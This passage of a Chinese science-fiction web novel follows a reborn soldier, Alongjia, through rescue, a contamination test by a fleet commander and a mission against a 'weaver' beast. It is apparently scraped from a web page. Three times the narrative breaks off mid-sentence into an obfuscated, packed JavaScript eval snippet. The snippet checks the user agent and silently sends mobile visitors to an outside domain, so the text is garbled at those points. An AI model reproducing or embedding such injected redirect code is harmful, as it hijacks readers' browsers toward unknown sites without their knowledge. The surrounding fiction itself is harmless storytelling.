许多重叠的人影在眼前晃动,有人压住他的双肩和腰,有人拖住他的头部,正拿着一支针剂向他的颈间扎下,刺痛感就从那里传来,冰凉的药剂被缓慢地推入。 “你们……是谁?” 阿龙迦用尽了全身的力气开口,声音嘶哑得吓人,像是剐擦砂石。 “他醒了?怎么这么快!”压住他的腰的人极度惊诧,“老天,我刚才给他用能量剂吊了命!” “别着急起来,我来解释。”头顶传来一个声音,显然是感受到了阿龙迦上半身的用力,“我们是H0103-11大队的,回程时接到了临时分配的救援任务,我们成功接到你了!小同志,你得救了。” “我的机甲呢?”阿龙迦没有就此乖乖躺下,他支撑着自己强行坐起,沉重地喘着气。 “给你脱下放到旁边了,没人敢乱动。”头顶那个声音继续回答,阿龙迦现在能看清楚了,是个稍显年长的中年男人,嘴唇上有淡淡的胡须,两鬓有霜痕。此人眼睛深邃发绿,声音显得十分沉稳。 “……你是龙旗舰的吧?陛下身边的护卫组?机甲的保密等级高到吓人,一开始根本无法脱下来,还是我用紧急医疗程序和大队长权限,申报总程序才下掉保险。” 阿龙迦回头,“你是……” 中年人伸出一只手,“H0103-11大队队长,坎特雷因。” 此人的眼睛颜色很奇特,像绿色的湖水,目光明亮。藏在胡须下面的是张儒雅的面庞,唇边有一抹微微的笑意,身上有种可靠的威严,如父如兄。 如果用年轻人间流行的白烂话来说就是,是个很有型的老大叔。 阿龙迦和他握手,坎特雷因笑了笑,“作为一名护卫,你真是年轻得惊人。如果我有儿子,大概也就是你这个年纪。没想到你都踏上战场了。” 他示意四周:“小同志,别着急,你现在在我们的返回舱中。我们已经通过相位跳跃被拉回星舰了,现在正依附于恒星级主舰表面。 出于安全原因,我们现在还处在通行港口外,上面并未打开安全通道,将我们放行进入舰中。” 坎特雷因措辞用得很模糊。 但是阿龙迦心知肚明,这个导致他们现在还没被放行的“安全原因”,指的就是他自己。 H0103-11大队出于系统分配,救了一个落单的战士,甚至是一个来自其他舰队的落单战士,在此之前,阿龙迦已经独自在异常中呆了好几个小时。 危险因素拉满了,舰队高层警惕他再正常不过。 “你先休息吧,门一时半会儿开不了,我们还得再等等。”坎特雷因向他点点头。 阿龙迦这回不再顽抗,再次躺了回去,一句话都来不及再说,眼皮沉沉地黏住。 疲惫如大潮倒卷而来。 他在黑暗中沉浮,大队中其他的队员在返回舱中交谈、行走,脚步声就在他耳畔。重重叠叠。 可他睡不着。 脱离了战场那极端危险的环境后,有两个致命的问题就鬼魂般浮上心来,避无可避,像打在白纸上的墨点。 阿龙迦身上,现在有两个巨大的隐患。 每个都一点就会炸。 一、他已经确定,自己不是人类。 什么人类会有精神之境?他的精神两次超出临界点,两次崩溃后都看见了那副红海群尸天地之柱的场景,那能是巧合吗?是巧合的概率有多大? 太真实太生动了。那副画面里的一切都纤毫毕现,栩栩如生。他再也无法欺骗自己那只是一些幻觉,阿龙迦现在确定了,那就是他的精神之境,他的“自有世界”。 那么,什么人类能拥有自有世界?这种玄之又玄的精神世界,本来仅限于等级极高的污染种身上。是它们独有的,精神强到可以幻化出小世界的一种表现。 “污染种”这个词天然带着特殊的色彩,它的概念出自于异兽却又范围小于异兽,人们往往用它来指那些具有智慧的异兽,那些具有神异,更像人类的异兽。 精神之境是只有它们才能凝聚出来的小世界,而现在,却在阿龙迦身上出现了。 可是这么想的话问题又来了,这一切特殊的场景和表现,却都只出现在他重生之后。 他上辈子,还是“阿龙迦”的时候,那个时候他怎么没有精神之境? 天地之柱和腐烂人形这个“精神之境”只在他重生之后开始出现。他上辈子哪里在自己的精神中见过这么吊诡的场景? 而且这辈子尼罗一见到他就盯上了他,可他上辈子杀了多少的异兽,里面像尼罗一样具有高度智慧和神异的也不少,那里面怎么没有人看出他的特殊来? 为什么只有重生之后,才从污染种那里听到了“你是我们新生的孩子”这种评价? 上辈子,哪怕做到了帝国元帅,他也只是一个普通人,也许只是比较能打一点。 除了操纵机甲时能做点小弊,随意上调同频率,除此之外,他再也没有其他的异于常人之处了。 可重生之后,他的身上却出现了种种不可思议的表现。(当然,重生本身就是最不可思议的一件事了)这绝不是好事,以他的身份,引人注目的下场唯有叛逃或者被俘而死。 那么问题难道来自于这具身体?毕竟这副身体怎么能刚好那么巧合,就是和他上辈子一样的红发? 不是常见的黯淡的赤褐色,而是近乎千万里挑一的,烈火般的红发。 阿龙迦双眉紧锁。这第一个问题,以他目前的处境和眼界,找不到任何解。想要知道,他只有一条路: 更加深入各大战场,以图见到更多的顶级污染种。看上次尼罗的态度,这个问题的答案恐怕牵连甚广,不在人类,而在污染种之间。 二、在和S091的对峙中,他的异常表现,被最终判定程序观测到了吗? 这个问题是目前最迫在眉睫的一个。 因为他在和S091的对峙中,出现了两个他完全无法解释的地方: 第一点,面对S091的具现化,在它具现出阿龙迦的终极恐惧时,出现的却是陈寂。虽然那是二十岁的陈寂,可和现在贵为宇宙之首、众星之主的那个皇帝,却没有太大的区别,这样一个身份的人出现在一个新护卫的具象化中,阿龙迦怎么解释? 但是这个也倒不是不能强行搪塞,只要说他一见皇帝陛下圣颜,就被其威严所迫,从此每每见到就浑身发抖,逐渐成为心魔就行了。勉强还有逻辑在里面。 可是还有第二点,那他两次修改现实的举动呢?好好的等离子剑变为天火大剑,他没来由得一跺脚,草野上就哗哗涨水,这完全扭曲现实了吧? 扭曲现实,也是异兽和实体们非常典型的一个特征,这下哪怕阿龙迦再希望自己是人类,也无法捏着鼻子自欺欺人了。 但凡第二点扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126990|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲现实的行为被达摩克里斯最终判定程序观测到了,那么从现在开始,阿龙迦就只剩一个选择:叛逃。 迅速叛逃,从此背离人类阵营,遁入污染种之间,再也不回头。 尼罗一个君王级之上的污染种都说了他很特殊,想来他是真的很特殊。那么想来他在异常阵营那方也不会混得太差的,说不定有朝一日也能混成君王级,还能有个自己的异土……个屁啊! 这样的危局之中,阿龙迦的苦中作乐并未给他的心情带来任何好转,反而让他心中狠狠一刺。因为固然有这条叛逃的路,可是在最深最深的心底,他知道,自己绝不会这么选的。 那么设想的瞬间,心底有个很固执很固执的声音在大声说: 不! 绝不。 我不叛逃,并且永远不会成为污染种。 不管我是什么。 在这极度虚弱而混乱的一刻,阿龙迦心里没有任何大道理,或者信念能够讲得出来。 他只有一个想法,哪怕被烧死,被砸得头破血流,三十五年后,却还是依然: 三千年了,黎明该要再次降临这世界。 人们必将能够再次自由地飞翔,那将是浩瀚的宇宙,和干净而无穷的星海。 为了这一切。我将付出我的所有。正如在成为一个军人时的誓言。 这么想着,他睁开了眼睛,这两个隐患无论如何都不能再拖。 趁着无人注意,他从一旁找到了已恢复为软甲的夸父,再次佩戴。 在个人频道中,他开始旁敲侧击地询问24号子程序,以分析战斗的名义,请求复原他当时的记录,得到的结果却是: 因为S级实体的强烈精神场影响,记录从阿龙迦将S091引走开始,就被干扰了。在总程序中,是一片空白。 简而言之,完全没记录。 阿龙迦并不完全相信子程序的回答,但是提起的心却稍稍放了下去。 神经细胞抑制剂妨碍了他的思考,他忽略了一点,S091的精神影响在S级实体中,都算是顶尖中的顶尖,留影终端受它影响是必然的,就算记录到了什么,应该也只是非常零碎没有意义的畸变画面。 阿龙迦刚要呼出一口气,返回舱的前端忽然传来一阵欢呼: “门开了!允许通行!” “上面给批了!” 返回舱的舱门缓缓向两侧打开,有些较为年轻的队员当即就涌出舱外。透过他们的背影,能看到返回舱正停在巨大的两壁之间,走廊深而广阔,上下左右都是极度简约的纯黑色墙壁,高远到吓人。 坎特雷因拍了拍他的肩膀,慢慢搀扶着阿龙迦站起。绿色的眼睛朝他眨了眨,一抹风趣从男人眼角的褶皱中流去,“小伙子,别害怕。到了我们舰上别认生。我们这的人都只认打不认别的,只要你拳头大,横着走都没问题!” “等等,你们舰是……”一个印象终于迟缓地从阿龙迦脑海中浮起。 “鬼刺狐舰队,第一舰队第三师。”坎特雷因无缝接上了他的话,朝他挤挤眼睛。 五大舰队之一,鬼刺狐……说来正是故人下辖。一股不好的预感从阿龙迦的心中浮现。 他被坎特雷因扶着走在队伍最后,刚在那条纯黑色、分不清上和下的走廊中走到一半,前面闹哄哄的队伍忽然停下了。 所有的喧闹忽然被压到最低,而后变为绝对的死寂。 阿龙迦心知前面有异,他微微抬起头,看见队伍的对面,站着黑压压的人群,将走廊封得水泄不通。 其中的每一个人,都全副武装,从头到脚穿着生化服,手中扛着各式武器,无数的目光透过护目镜闪烁,紧紧地盯着这边。 武装人群的最前面,站着一个军官打扮的人。身形笔挺,肩膀峭拔。一袭罩到脚面的纯黑军装把他整个人都笼罩在内,扣子扣到领口,笔直地挺起来挡住脖子,在他的脸上打出浓厚的阴影。 只是一眼,阿龙迦就认出了他是谁。 军官上前一步,走出阴影。 是个肃杀而冰冷的年轻人。年轻俊秀,满头的白发,灿烂如银。军官负手站在走廊中央,他那张有如少年的脸上却有一股极端的冷漠。 白发的年轻人说:“我是鬼刺狐总舰队长唐璜,按照我的命令,所有人不允许走出这节通行港口,如有违者,踏出半步,即可被视为奸细当场捉拿。” “现在,告诉我,污染者在哪?” 31. 31 支援 “现在,告诉我,污染者在哪?” 宛如少年般的白发军官冷冷地说。 有人不自觉地向队伍后面看来。坎特雷因本来蹑手蹑脚地扶着阿龙迦,准备从人群后溜走,却还是被这视线暴露了。 白发军官目光如利刃,一声冷哼:“出来!” 坎特雷因看了一眼阿龙迦,为难地抓抓头发,却没有立即出列,只是踮起脚,遥遥地对唐璜喊道: “舰队长,我们营救的这名落单士兵,无论是身体还是精神都受了重创,刚用药剂吊了命,您带着这么多人来,稍微折腾一下他,他怕是就没命了!到时候您让我们怎么跟总程序交代……” 坎特雷因忽然噤声。 唐璜根本连回答都不回答他了。 他直接从腰后抽出了一支等离子体剑柄,瞬间点亮,炽热而醒目的黄色光束喷吐而出,遥遥指着坎特雷因的眉心! “出来。”唐璜一字一顿地吐出。 双眉紧锁,年少的脸像一块剔透的冰。 阿龙迦远远地看见白发少年的武器,他握剑的姿势,发力点,一切都太熟悉了。他忽然有点想笑。 “舰队长,这……”坎特雷因还想说什么,却感觉肩膀上被阿龙迦拍了拍。 “我去,没事的。”阿龙迦声音低哑,却显得极稳。 他慢慢地走上前,人群半是好奇、半是畏惧地自动向两侧散开,为他让出了一条路。 他步履蹒跚地走到唐璜身前五米,抬头看着这个白发的年轻舰队长。 这么些年,唐璜真是长高了。比他死前见到的最后一面,还要高了半个头。 哪怕并肩作战了很多年,阿龙迦对他的印象却还是留在最开始的时候,一个沉默寡言的孩子。 从他刚被提拔为中队长时起,唐璜就在他的队伍里了。从来都是紧紧地跟在他身后,你定点,他狙击,你冲锋,他紧跟在后。绝不落下半步。 就像是他血亲的兄弟。 当年他记忆里那个白发的少年,如今却已变为鹰隼般冷厉的军官。 唐璜看着他一个人走上前来,神情却没有任何缓和,眼神像刀尖上翻转的冷光一样闪动: “藏头露尾。” 阿龙迦为了询问子程序战斗细节,本来是穿戴着机甲的,但以他现在的精神状态,完全无法驾驶完全态机甲,所以夸父现在呈现出的是流体般的红色金属层,覆盖了他的体表,完全掩盖了他的面目长相。 他忘记撤去夸父了,在唐璜的眼中,这成为了他可疑的佐证。 唐璜却不再追究,神情像冰上的雪一样消去,仿佛这件事对他来说已经完结,是与不是没什么区别: “执行官,把他押下去,按正常收容流程处理。处理完后就地关押。” 他负手,转身,大步就要离开。数个穿着生化服的执行官从四面一齐涌来,就要上来按住阿龙迦。 阿龙迦在唐璜身后忽然大声说,“我对舰队长的判决不服。” “你没有资格表示不——” 唐璜不喜不怒,只是公式化地回头,却在回过头的那一瞬,死死地愣住了。 一道流光闪过机甲表面,夸父的流体层在他眼中像水银倾泻般褪去,一个瘦削的少年站在那里。 映入眼中的首先就是红发,满头的红发,凌乱得仿佛火焰。 一对深红色的瞳子在红发下抬起。瞳光也亮得像是火焰。 很少有人能有那种眼神,瞳子深处有一种冷冷的倔犟,像是死也不会低头,对视的时候会让人心里一刺。 像是含着绝世的刀锋。 唐璜忽然很着急去看那张脸。 看清的那一刻,却还是不可抑制地失望了,巨大的失望抓住了他。 是一张孩子的、青涩的脸。 没有丝毫战争的痕迹。和记忆中的另一张脸比起来,稚嫩得就像是刚破壳的雏鸟和新月。 出乎唐璜自己意料的,他忽然嘶哑地问: “你是谁?” “小珠星方面战场3-15救援队,龙旗舰护卫长,龙雷。”阿龙迦和他对视。 唐璜的嘴唇动了动,像是想问什么。可是在场的人太多了,他毕竟没有问出来。 阿龙迦心知肚明,他要问的是“你和前帝国元帅什么关系?” 但是为了解自己此时的围,有些话他必须说。 “我以为,舰队长的处置不妥。我是龙旗舰在编军人,是隶属于陛下亲卫队的护卫,哪怕我被污染甚至即将变异,鬼刺狐都没有拘留我的道理,能对我施行正当处置的,只有我的直属舰队。我要求立即回到龙旗舰下辖舰队。” “龙旗舰?”唐璜反问,“……你是陈寂身边的护卫?” 第一次的,这是有人在言语中,不称“陛下”,而是直呼陈寂姓名。 阿龙迦点头,“是。所以如果有人要处置我,也只能是皇帝陛下。” 唐璜沉默了半晌。就在阿龙迦以为他不会再回复的时候,唐璜忽然转头,向身边的执行官们说: “这样,走标准流程。给他测精神偏移度。” 他转过身来,面对阿龙迦,正式开口: “既然你这么坚持,那么也好。士兵龙雷,我答应你,如果你的精神偏移度低于危险数值,那么我就让你加入十二小时后出发的支援部队,将你送到大珠星表面。” 大珠星?那不是越来越远了? 阿龙迦刚要反驳,却被唐璜斩钉截铁地打断:“听我说完。” “目前整个北冕座v1星系,事态还未控制住、战局仍在焦灼的只有两个地方:一个是大珠星,一个是3号变星。各个舰队在初期的原始分配任务到现在已经基本完成,下一步,本星系中的所有舰队,目标都会是‘支援’,支援这两处战场。” 白发军官闪电般的目光扫过阿龙迦,“你的龙旗舰,还有陈寂所在位置附近的一切战舰,按分配都会前往大珠星战场支援。所以我直接送你去大珠星,无论你来自哪只队伍,去那里找他们吧。” 这是要他自己去大珠星战场上,自己完成联络,和原舰队汇合。 阿龙迦不再言语。比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126991|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起被囚禁在五大舰队之一的鬼刺狐主舰中,这个选择明显让人更容易接受。 执行官们上前,将一个石墨般的巨大头盔罩在他的肩膀上,这也是用来测精神偏移度的仪器,只是外表略有不同。 一百五十秒后,头盔发出滴滴的声音,执行官们把头盔拿起,开始查看它的数据。 突然间,所有的执行官们都发出一阵不可思议的声音,透过那些面罩和护目镜都能看出他们的惊讶。 “怎么了?”唐璜敏锐地询问,“精神偏移度多少?” “精神偏移度,”首位的女执行官咽了咽口水,“……0%!” 唐璜的眉头再次紧紧锁起。偏移度0%按理说是根本不该出现的,哪怕在未接受污染时,每个人的精神偏移度都是一个不为0的常数,刚好等于0,意味着不可思议的标准度。 这就好比你发现一个新物质,但它的原子质量刚好和碳的12.0107一模一样。 从统计学来讲,这是小概率事件。 在单次实验中不可能发生。 “再测。”唐璜言简意赅,显然是怀疑实验出现了误测。 执行官们依次测量了三次,每次拿下头盔的脸色都比之前白,直到最后一次,女执行官再也坐不住了: “报告舰队长,真的是0%的偏移度!这个数字在测量过程中根本不改变,也就是说……” “此人的精神中,根本没有受到哪怕一丁点的污染!” 这话一出,阿龙迦自己都不相信。 他可是直面了S091,并与其造物周旋了数小时。而且哪怕没接触明显污染源,在污染星的战场上走过一遭,所有战士的精神偏移度都会有轻微的上涨,不可能稳定成这样。 然而执行官非常肯定,“这就是测量结果,千真万确!从测量学来看,他就是没有受到任何污染。” 阿龙迦就要提出质疑,却忽然心下一紧,一个破碎的画面突然涌入脑海。 他第二次修改现实的时候。荒草之野,红海浪涌……海水腐蚀了每一个实体和异兽,它们的尸骸沉没处,却都有一道阴影流向了他。 就好像是他“吞噬”了它们一样。 一个阴影般的想法浮上心头。上次被污染,他是靠特型000-钟山之神的威能压住了污染,将所有影响抹除,那么这一次难道说……是他自己压住了所有的污染? 那些所有的实体和异兽,都没能污染他。因为他才是那里最大的怪物。 他比它们的优先级都高,精神影响根本影响不到他。 阿龙迦不禁咬牙。如果真是这样,此事他绝不能在这里暴露一星半点。 最好赶紧奔赴大珠星。和原队汇合。 这么想着,他借口身体情况恶化,申请了紧急医疗措施,以求能离开唐璜的视线范围。他直视着唐璜:“既然我没有超出危险数值,这下舰队长能放心了吧?” 唐璜死死地盯着他半晌,似乎察觉有异,却并没看出什么异状。于是终于点点头,决定离开: “请求批准。” 32. 32 代号:编织者 唐璜大步地离开了通行港口的黑色长廊,他带来的大股人群也跟随着他瞬间离去,只留下几个执行官,来监督阿龙迦在舰上的一举一动。 “走,快走。”坎特雷因悄悄地上前来,架住阿龙迦。 他们缀在队伍的最后端,跟着人群,一起涌入中转大厅。 中转大厅的内壁是纯黑色的,人踏入的瞬间,像是忽然撞入了深空星海之中。 这是个大到看不见对岸的空间,一个像巨型广场般的舱室。每时每刻,成千上万的人流都从这个大厅里穿梭而过,行色匆匆,神情冷峻,每个人的肩膀上都佩戴着不同职阶的徽记。 此时此刻他们所在的这艘星舰,是直属于鬼刺狐舰队的恒星级主舰,一切规格高得不可思议,甚至要超过陈寂目前的座驾,那艘平平无奇的“太阳之舟”。 舰上的所有装饰风格都是如出一辙的简约和冷肃,多用大理石般的黑色材料和泛着冷光的金属。 阿龙迦扭过头去,墙壁光润得能够照出他的人影,柔和的白光直接从墙壁里透出来。 中转大厅的左右两壁上,都是几千米的透明观测窗,或者说这左右两壁本来就是由类玻璃物构成的。从没有那么大的观测窗,和那么广阔的视野,像是巨人在天上开的窗户,用以俯瞰宇宙。 这一刻,左边那面巨大的观测窗中,正正好好地将北冕座v1星系的六颗行星都框入了其中。六颗远近不同的行星,以玄妙的相对位置排列,有的呈现铁锈般的赭红,有的苍翠欲滴,衬着纯黑的宇宙,像一副大画,或者一串首尾相接的珠子。 又仿佛一架自转的天文仪,仪轨浩大。 坎特雷因刚刚接到了后续的任务分配,他遥遥地点着那颗苍翠的行星: “喏,看见没,小珠星旁边绿色的,就那颗行星,那就是大珠星。咱们就是要到那上面去执行支援任务。” 阿龙迦缓慢地点点头。 坎特雷因看他疲惫的样子,笑了笑,遂不再说话。他直接将阿龙迦扶入了中转大厅附近的一处医疗室,阿龙迦在进门的瞬间,就脱力仰倒在病床上。“看你的样子,我再说一句你就得倒下了。” “你好好休息吧,小同志。我们十二个小时后见!” …… 十二个小时后,坎特雷因如约推开了医疗室的门。 阿龙迦已坐在床边,整装待发。再不是病人的形容了。和坎特雷因十二个小时前看到的那个狼狈的少年完全不一样,似乎只是睡了一觉,生命就又再次充盈了他年轻的身体。 眼前这个年轻人目光极其有力,瞳子深红而雪亮,神采勃发。确实是随时都能出发的状态了,像是浴血的凶剑在鞘中又再次苏醒。 “看来你休息得不错,”坎特雷因像个长兄那样得意地笑笑,“那就出发吧!士兵。” 这次H0103-11大队使用的落地舱,规模就不能再同日而语。舱中有上千的年轻人,他们不再像是龙旗舰那样都穿着统一制式的机甲,有部分人身上穿着浓黑如墨的瘦长机甲,阿龙迦一眼就认了出来,那是常型003-幽魂,侦查型机甲,同时带着骇人的突刺能力,所以也有人把它单独分出来一类,叫做刺杀型机甲。 其它有的小组穿着常型026-青死神,纯正的力量型战斗机甲,有的小组穿着常型041-铜幕,这是偏辅助的多功能型机甲,有的小组甚至操纵的是特型013-插翅虎,并不作人型,而是像真的老虎那样趴伏于地。 从这一幕就能看出他们之间明确的分工,以及小组配合。 H0103-11大队是一个很标准的战斗组,一个机动战斗单位,而不像阿龙迦那只中队,负责的只是救援任务而已。 他们负责的是,杀戮,围捕,狩猎。 在其他各式各样的机甲之间,阿龙迦只是像往常一样展开夸父,苍红色的轮廓挺立而起。他从鬼刺狐的舰队处申请了两柄新的等离子体剑。非常诡异的,继被修改为那种天火之剑的状态后,他的两柄旧剑,再被人们发现时都已被烧毁。 仿佛是脱离了那种修改现实的伟力之后,再也承受不住极热的烧灼。 坎特雷因清清嗓子,落地舱中安静下来。他开始科普大珠星战场的战况: “首先,做一下背景解释。大家都知道大珠星战场现在仍在僵持中,可它之所以仍在僵持中,是因为它表面的战线拉得太长、太多了,战士们四处作战,难以拧成几股连续的战线。在污染加深前战况得不到有力的进展,所以必须请求支援。” “我们的同僚在这颗行星上,发现了多于预计几十倍的异常造物,奇怪的是,它们出现的位置分得太散了,到处都有实体,到处都能忽然涌出异兽,而且似乎每派一个战斗小组,都能再凭空出现新的异常造物拖住他们。这颗星球现在像是一个怪物丛生的泥沼,我们往里面投了很多的石头,可这个泥沼太深了,你投再多的石头进去,都只会被它吞没,连一个响都听不到。” “所以,上面现在的决策就是:我们将投入远大于泥沼容量的巨量石头,完全把泥沼填满,一定要把所有的污秽都逼上来,看看到底是什么导致了这样奇怪的局势,和预判的差错。” “很显然,各位——当然还有我,”坎特雷因绿色的眼睛风趣地一闪,胡须后有一种促狭的笑容,“我们,就是现在上面决定扔进去的新石头。” 然后坎特雷因话尾一收,直入主题: “这次,我们大队将直奔其中的一个僵持点。在这里,我们大队的1105个人,将加入现场的围猎团队,共同面对唯一的一个敌人。” 坎特雷因看到了现场有些人的表情,忽地一笑,“对,没错,就是一个敌人。这次我们只用盯紧一个目标:这是一只异兽,一只很特殊的异兽。” “我们接到的这个任务的名字,叫做——代号:编织者。” “‘编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126992|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 织者’......任务名已经说明了一切。现在你们明白了这只异兽有多特殊吧?”坎特雷因的声音忽然变得又轻又慢,“这是一只编织者。” 舱中彻底地安静了下去。没有人说话。 因为每个人都知道编织者是什么东西。 在每个人启蒙的教科书中,帝国官方将异兽从低到高阶,依次划分为:D、C、B、A、君王,五个等级。 99.99%的情况下,战士们遇到的都是编号级的异兽,君王级出现的次数屈指可数,它的名字那么如雷贯耳,只是因为君王级异兽每次出现都是行星沦陷的大灾,不以舰队为单位牺牲不能平息。 可是传闻中,还存在一种异兽。它太稀有了,稀有得像个传说,比君王级异兽出现的次数还要少。这是一个特殊等级的异兽,或者说,它是一个“间等级”的存在。 那就是“编织者”。 编织者是所有战士在军校读书时都知道的传说,传言,它是一种精神场强到匪夷所思的异兽。 强到什么地步呢,异兽这个种族本来天生就附带精神影响,可如果把普通异兽比作一种固定的影响源,精神影响只是一种它们的被动属性,只是被动影响人的小兵,那么编织者就是行走的精神法师,它的精神强到它能主动发动精神攻击。它能做到的一切,在人类眼中看来就好比法术一样,不可理解。 编织者,可以是任何一个等级的异兽。 比如A级的编织者,它本来就有A级的身体素质,还附带精神攻击,所以它的危险性理所当然比普通的A级异兽要高得多。 同理,无论任何等级的异兽,一旦成为编织者,危险性就会远超原本的等级。 从而成为一种跨越原等级的存在。 “这只异兽原本是什么等级?”靠在角落的阿龙迦忽然出声。 “A级。”坎特雷因回答,“但一旦附加了编织者的属性,它就开始无限接近于A级的顶点,已经几乎能摸得到君王级的门槛了。” “并且作为精神术士,它的能力,还有它能做到的事,还要诡秘得多。” 阿龙迦不动如山,“它以什么形态出现?” “鸟,一只鸟。”坎特雷因缓缓地说,“一只衔尾之鸟。” …… 落地舱像一颗陨星般砸入地面,巨大的尘雾在坑中扬起。 舱门开启的瞬间,舱外已经有一列太空军制服的军人在等候。每个人的面容都显得疲倦而沧桑,制服也不那么笔挺和干净了,似乎曾经有过一段严酷的经历。 坎特雷因和为首的军人握手,“您好,我们是鬼刺狐下辖大队H0103-11,战况如何?我们已经做好准备,能随时加入战场。” “感谢你们的支援。你们是今天到来的第三支队伍,跟我来。”为首的军人说道,“行动时,请不要踩入黄线。这里已经逼近编织者影响范围的最外圈了,一切小心。” 33. 33 蜃楼如海 “这个编织者表现出的能力是什么?”坎特雷因和军人并排而行。 军人给出了一个超乎意料的答案,“不知道。” 坎特雷因诧异地看着他。此人却一脸坦然,诚恳地直视他的眼睛:“不是骗你们,也不是有所隐瞒,而是我们真的不知道。” “你们是来支援这个僵持点的第三支队伍,可是你知道即将到达的支援还有多少么?整整十八个组。”男人说道,“知道为什么上面要往这里派这么多人么?这是铁了心要打人海战术了。” 十八个组。那就是数万人!坎特雷因瞳仁骤然一缩。 “一开始,接到原始任务,在初始分配下聚集在这里的,只有两支大队,也就是两千多号人,这两千多号人已经陆续进入了编织者的核心影响范围。” 军人来到一处断崖边,往下眺望,参天层林般的城市拔地而起。 他伸出一只手,指向下方的城市: “他们都在里面了。时至今日,这两千两百七十九人仍然深陷在内,我们剩下的寥寥几十人,全都只是留守在外围的后勤人员。入内的成员已经断联三天,我们和里面的通讯在他们进入的瞬间就被切断,没人知道里面是什么情况,也没有人以任何手段发出过求救的信号。到了现在这个时间点,我们也不知道他们究竟是活着还是死了。” “我们对这只异兽的了解比你们多不了多少,唯独有一点,”男人神情严肃,“进去后,千万不要相信里面的地形,建筑,或者周围的环境。这些都是会随时变化的,在编织者的笼罩范围内,它能轻易扭曲一切现实环境。” “哪怕在我们所处的影响外围地带,景色和环境也会经常突然变幻,是高楼的地方突然变成深渊,本来有通路的地方移形错位,变为死路。街道变成湖面。人本来朝东而行,走着走着却发现自己面朝北方。” “明白了。”坎特雷因凝重地点点头。 环境会随时变化。这意味着他们没办法有效标记地点,记录发现的街道,并绘制内部地图。 而且科技手段的定位在这种绝强的精神场中会失效,那么在里面找路,和标记来路,就会成为一个非常严肃的问题。 “说来,我有一个问题,”坎特雷音继续询问,他这个人很细心,或者说有点嘴碎,开战前是一定要问东问西,把他觉得存在疑问的地方都问清楚的。 “你们那两千人怎么会都进入了核心范围?你说他们是‘陆续’进入的,按我的理解肯定是分成很多组,可既然前面的组都发生了不测,连回音都没有,为什么你们还要一直继续进人,直到把两千人都送进里面?” “这有什么问题吗?上一组要是发生了不测,不更应该送入下一组吗?你说的意思,我不太明白。” 男人脖子扭过一个很大的角度,回头看向坎特雷因。坎特雷因一阵恍惚,人的脖子能那样转动吗? “我们留在外面的人,都很担心里面的情况,我们每个人都为里面的同胞所担忧,所以每个人都急着要进去。里面的同胞多待上一秒,我们都焦灼得不行,所以总是上一组前脚刚进去,下一组就等不及要进去。一组一组地,就陆续地都在里面了。这很正常,不是么?” 不知道是光线还是错觉,在说出“这很正常,不是么”的时候,男人那张板正的脸上,忽然有一种机器般的僵硬和恐怖。 男人的回答让坎特雷因愣住了。面色未变,却只觉得一股沁人的寒意腾地升起。 这番话里的逻辑严丝合缝,乍听没有问题,可这还是人类的逻辑吗? 什么叫上一组刚进去下一组就等不及了?还一组一组地都在里面了?这里面难道还是什么好东西吗? “没问题没问题,就是问问。”坎特雷因打哈哈,“那我们前面的两个支援组想必也已经进去了吧?” 男人也笑笑,彻底转过身来,脸孔彻底淹没在阴影中,这么看来就又是那张诚恳的面容了,没有丝毫不自然之处: “是的,他们刚刚已经进去了,他们和我们一样着急,为里面的同胞担忧。你要是着急的话,可以现在就进去找他们。” …… “事实就是如此。” 坎特雷因来回踱步。他又回到了落地舱中,他的四周,上千的年轻人们环绕着他,人头攒动。 “现在我怀疑这只编织者的影响范围大到,把这些自称只在‘边缘’留守的后勤,也污染了。” “这事我一人拿不了注意,所以我想问问你们怎么看。如何,这编织者的核心范围,我们还进么?” “进,必须得进啊老大,”有人努力踮起脚,把自己的脸伸出人群,“不然我们怎么跟上面交代?军令如山啊老大。” “对!” “得进。” “还是得进。” “是啊老大,我们肯定得进,而且不只是我们,剩下来的十八个组都得一个一个地进!” “我明白!是这个理。”坎特雷因一摆手,“到最后肯定还是得进,但是,我们是现在就进去,还是等到其他十八个组来了再一起进去?” “而且,还有个问题我一直在想……总程序,知道这些外围的‘留守’被污染了么?不知道的话,这个事情的危险度就要翻好几倍,可要是知道的话,还派我们来?” 坎特雷因不停踱步,用力地捋自己的头发。 舱中一时出现了沉默的空白。 